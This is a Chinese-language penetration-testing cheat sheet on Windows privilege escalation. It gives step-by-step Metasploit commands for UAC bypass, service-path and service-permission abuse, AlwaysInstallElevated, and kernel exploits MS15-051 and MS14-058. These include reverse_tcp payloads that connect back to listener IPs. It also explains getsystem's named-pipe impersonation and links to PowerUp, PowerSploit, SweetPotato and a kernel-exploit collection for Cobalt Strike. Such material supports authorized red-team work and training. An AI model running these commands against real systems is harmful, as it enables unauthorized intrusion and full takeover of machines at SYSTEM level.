渗透测试框架提权

Metasploit自动提权

Meterpreter自动提权命令

getsystem：

getsystem是由Metasploit-Framework提供的一个模块，它可以将一个管理帐户（通常为本地Administrator账户）提升为本地SYSTEM帐户

1)getsystem创建一个新的Windows服务，设置为SYSTEM运行，当它启动时连接到一个命名管道。

2)getsystem产生一个进程，它创建一个命名管道并等待来自该服务的连接。

3)Windows服务已启动，导致与命名管道建立连接。

4)该进程接收连接并调用ImpersonateNamedPipeClient，从而为SYSTEM用户创建模拟令牌。

5)然后用新收集的SYSTEM模拟令牌产生cmd.exe，并且我们有一个SYSTEM特权进程。

bypassUAC

UAC：用户帐户控制（User Account Control），是windows操作系统中采用的一种控制机制，它以预见的

方式阻止不必要的系统范围更改

getsystem提权方式对于普通用户来说是失败的不可正常执行的，那么这种情况下就需要绕过系统UAC来进行

getsystem提权

进程注入

use exploit/windows/local/bypassuac

set payload windows/meterpreter/reverse_tcp

set LHOST=192.168.40.151

set session 1

exploit

内存注入

use exploit/windows/local/bypassuac_injection

set payload windows/meterpreter/reverse_tcp

set LHOST=192.168.1.170

set session 1

exploit

Eventvwr注册表项

use exploit/windows/local/bypassuac_eventvwr

COM处理程序劫持

use exploit/windows/local/bypassuac_comhijack 通过bypassUAC获取的session可以看到依然是普通权限，可以getsystem进行提权至system权限

kernel漏洞提权

windows-kernel-exploits(Windows平台提权漏洞集合):

https://github.com/SecWiki/windows-kernel-exploits

use post/multi/recon/local_exploit_suggester

set SESSION 1

exploit

优点：省去手动查找的麻烦

缺点：不是所有列出的local exploit都可用

unquoted_service_path

unquoted_service_path 模块

已弃用exploits/windows/local/trusted_service_path

exploit/windows/local/unquoted_service_path

set session 1

Exploit -j

use exploit/multi/handler

set autorunscript migrate –f

Exploit -j

service_permissions

service_permissions模块

use exploit/windows/local/service_permissions

set sessions 1

run

always_install_elevated

always_install_elevated模块

use exploit/windows/local/always_install_elevated

set sessions 1

run

Kernel privilege escalation

Windows ClientCopyImage Win32k Exploit

适用与win7 win server 2008R2SP1 x64

use exploit/windows/local/ms15_051_client_copy_image

set lhost xx.xx.xx.xx

set session 1

exploit

ms14_058提权

use exploit/windows/local/ms14_058_track_popup_menu

set lhost xx.xx.xx.xx

set session 1

exploit

https://www.freebuf.com/articles/system/184289.html

Cobaltstrike自动提权

CobaltStrike提权模块

beacon - Elevate

自用提权exe（自己弄来cve运行）

Powershell

下载链接

https://raw.githubusercontent.com/PowerShellEmpire/PowerTools/master/PowerUp/PowerUp.ps1

https://github.com/PowerShellMafia/PowerSploit/

help powershell-import

Use: powershell-import [/path/to/local/script.ps1]

SweetPotato

https://github.com/Tycx2ry/SweetPotato_CS